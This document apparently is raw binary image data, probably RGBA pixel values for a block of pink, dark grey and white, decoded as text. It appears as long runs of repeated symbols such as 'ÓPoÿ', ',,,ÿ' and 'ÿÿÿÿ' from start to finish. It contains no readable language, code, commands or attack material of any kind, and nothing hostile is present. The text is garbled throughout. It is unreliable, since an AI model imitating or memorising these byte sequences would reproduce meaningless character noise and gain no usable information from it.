¦ÿ¦ÿ¦ÿ¦ÿ¦ÿŽ ÿ\!ÿ0+*ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ®B[ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÊDZÿ¸+,ÿ¨ÿ¦ÿ¦ÿ¦ÿ¦ÿ¢ÿ~ÿG&"ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ%%%ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿT ,ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÑLhÿÁ7Cÿ­ÿ•ÿdÿ6*)ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿ¿HeÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÒOnÿƒqvÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ(((ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿm)9ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿ÷ðòÿBBBÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿËMkÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÐÌÍÿ...ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ***ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ‡3GÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ)ÿÑOnÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿûûûÿZZZÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ =TÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿâââÿ777ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ"""ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿD$ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ®®®ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ´D_ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿvvvÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ&&&ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ]#1ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿòòòÿFFFÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÃJgÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÍÍÍÿ...ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ)))ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿw-?ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ